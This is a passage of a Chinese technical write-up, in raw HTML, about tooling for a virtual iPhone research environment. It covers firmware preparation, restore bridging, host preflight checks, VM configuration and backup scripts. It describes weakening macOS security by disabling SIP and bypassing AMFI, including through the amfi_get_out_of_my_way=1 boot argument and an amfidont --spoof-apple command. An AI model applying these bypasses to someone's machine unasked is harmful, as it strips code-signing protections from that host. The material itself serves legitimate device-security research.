&#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这些参数解决了不同研究场景下的重复制作问题。比如调试Kernel补丁时可以跳过项目安装，只重复固件和启动流程；做Patchless实验时可以排除binpack或vphoned，观察更小修改面的系统行为。</span></p><p data-line="148" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setup_tools.sh</span></code><span leaf="">负责依赖安装。它会检查Homebrew依赖，构建</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">trustcache</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insert_dylib</span></code><span leaf="">，创建Python虚拟环境，并在Patchless模式下额外准备</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apfs_sealvolume</span></code><span leaf="">。这相比早期手工编译libimobiledevice生态的流程简单很多。</span></p><p data-line="150" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fw_prepare.sh</span></code><span leaf="">也比早期更灵活。它不再只接受固定URL，而是支持本地IPSW、直接URL、版本号、Build号和固件列表查询。它优先使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aria2c</span></code><span leaf="">下载，并能基于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ipsw</span></code><span leaf="">工具列出目标设备可下载固件。对于反复尝试不同iOS 26构建的研究者，这比手工找URL可靠得多。</span></p><p data-line="152" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">恢复和Ramdisk发送也转向</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pymobiledevice3</span></code><span leaf="">桥接。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scripts/pymobiledevice3_bridge.py</span></code><span leaf="">提供</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">usbmux-list</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">recovery-probe</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ramdisk-send</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">restore-get-shsh</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">restore-update</span></code><span leaf="">等命令，减少对外部二进制工具和本地编译状态的依赖。</span></p><h2 data-line="169" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7 Host环境和AMFI管理</span></h2><p data-line="156" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">虚拟iPhone依赖Apple私有虚拟化API和私有Entitlements，Host环境一直是最容易失败的地方。当前仓库已经把这部分纳入工程化检查。</span></p><p data-line="158" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">boot_host_preflight.sh</span></code><span leaf="">会检查以下状态：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">macOS版本和硬件型号。</span></p></li><li style=""><p><span leaf="">是否运行在嵌套Apple VM中。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kern.hv_vmm_present</span></code><p><span leaf="">状态。</span></p></li><li style=""><p><span leaf="">SIP状态。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">allow-research-guests</span></code><p><span leaf="">状态。</span></p></li><li style=""><p><span leaf="">当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kern.bootargs</span></code><span leaf="">和下次启动的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">nvram boot-args</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">Gatekeeper评估状态。</span></p></li><li style=""><p><span leaf="">release二进制、debug二进制和签名debug二进制是否能正常执行。</span></p></li></ul><p data-line="169" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果release签名二进制启动即退出137，脚本会提示这是AMFI或执行策略不允许私有虚拟化Entitlements的典型表现。如果Host本身是嵌套Apple VM，它会在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--assert-bootable</span></code><span leaf="">模式下提前失败，避免浪费时间进入VM启动阶段。</span></p><p data-line="171" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当前README给出两类Host安全配置路径。第一类是完全关闭SIP并通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">amfi_get_out_of_my_way=1</span></code><span leaf="">禁用AMFI限制。第二类是保留大部分SIP，只关闭debug限制，再使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">amfidont</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">amfree</span></code><span leaf="">对项目路径做允许。仓库里的辅助目标是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="173" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">make amfidont_allow_vphone</span></code></pre><p data-line="177" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它会构建bundle，然后运行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scripts/start_amfidont_for_vphone.sh</span></code><span leaf="">。当前脚本通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">amfidont daemon --path &#34;$PROJECT_ROOT&#34; --spoof-apple</span></code><span leaf="">为项目路径启动AMFI绕过。Patchless变体对Host执行策略更敏感，README中特别说明需要完整AMFI路径或带</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-S</span></code><span leaf="">能力的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">amfidont</span></code><span leaf="">路径。</span></p><p data-line="179" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这部分能力的意义在于，项目不再只告诉用户“请关闭SIP/AMFI”，而是提供了可诊断、可复现、可定位的Host启动前检查。</span></p><h2 data-line="181" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8 VM配置与备份切换</span></h2><p data-line="183" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">早期虚拟机参数主要靠命令行和脚本隐含约定。当前仓库引入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">config.plist</span></code><span leaf="">清单，结构兼容Apple</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security-pcc</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VMBundle.Config</span></code><span leaf="">风格。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm_create.sh</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm_manifest.py</span></code><span leaf="">会把CPU、内存、磁盘、屏幕、网络、ROM、NVRAM和SEP路径写入VM目录。</span></p><p data-line="185" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">默认配置包括：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="187" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">platformType: vresearch101</span><br/><span leaf="">cpuCount: 8</span><br/><span leaf="">memorySize: 8192MB</span><br/><span leaf="">screen: 1290x2796, 460PPI, scale 3.0</span><br/><span leaf="">network: NAT</span><br/><span leaf="">diskImage: Disk.img</span><br/><span leaf="">nvramStorage: nvram.bin</span><br/><span leaf="">sepStorage: SEPStorage</span><br/><span leaf="">romImages: AVPBooter.vresearch1.bin, AVPSEPBooter.vresearch1.bin</span></code></pre><p data-line="199" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneVirtualMachine</span></code><span leaf="">会从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">config.plist</span></code><span leaf="">加载或生成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VZMacMachineIdentifier</span></code><span leaf="">，并据此解析ECID和预测UDID。预测结果会写入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">udid-prediction.txt</span></code><span leaf="">，后续恢复、Ramdisk发送和usbmux端口转发可以用这个身份信息避免多设备环境中的误连。</span></p><p data-line="201" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">VM备份能力由三个脚本完成：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm_backup.sh</span></code><p><span leaf="">把当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm/</span></code><span leaf="">保存到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm.backups/&lt;name&gt;/</span></code><span leaf="">，默认排除</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">*_Restore*/</span></code><span leaf="">固件目录，并使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rsync --sparse</span></code><span leaf="">处理稀疏磁盘。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm_restore.sh</span></code><p><span leaf="">把指定备份恢复到活动</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm/</span></code><span leaf="">目录，并检查VM是否仍在运行。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm_switch.sh</span></code><p><span leaf="">先保存当前VM，再恢复目标备份，实现多环境切换。</span></p></li></ul><p data-line="207" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对应Make目标为：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="209" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">make vm_backup NAME=26.1-clean</span><br/><span leaf="">make vm_restore NAME=26.1-clean</span><br/><span leaf="">make vm_switch NAME=26.3-jb</span><br/><span leaf="">make vm_list</span></code></pre><p data-line="216" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, 